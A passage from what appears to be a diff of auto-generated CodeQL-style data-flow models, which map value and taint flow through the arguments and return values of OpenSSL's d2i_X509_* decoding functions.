"df-generated"] + - ["", "", True, "d2i_X509_ACERT", "(X509_ACERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_bio", "(BIO *,X509_ACERT **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ACERT_fp", "(FILE *,X509_ACERT **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGOR", "(X509_ALGOR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ALGORS", "(X509_ALGORS **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_ATTRIBUTE", "(X509_ATTRIBUTE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_AUX", "(X509 **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CERT_AUX", "(X509_CERT_AUX **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_CINF", "(X509_CINF **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - 